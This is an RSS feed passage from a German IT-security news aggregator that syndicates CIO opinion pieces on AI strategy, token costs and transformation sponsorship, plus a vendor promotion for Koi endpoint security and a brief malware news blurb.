<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Malware msaRAT leitet Datenverkehr über Chrome um]]></title>
<description><![CDATA[Die Ransomware-Gruppe Chaos setzt die neue Malware msaRAT ein. Sie leitet ihren Datenverkehr über Headless-Browser und Cloudflare-Dienste um.

Tags: #Chrome | #Cyber Crime | #Malware]]></description>
<link>https://tsecurity.de/de/3694280/it-security-nachrichten/malware-msarat-leitet-datenverkehr-ueber-chrome-um/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694280/it-security-nachrichten/malware-msarat-leitet-datenverkehr-ueber-chrome-um/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
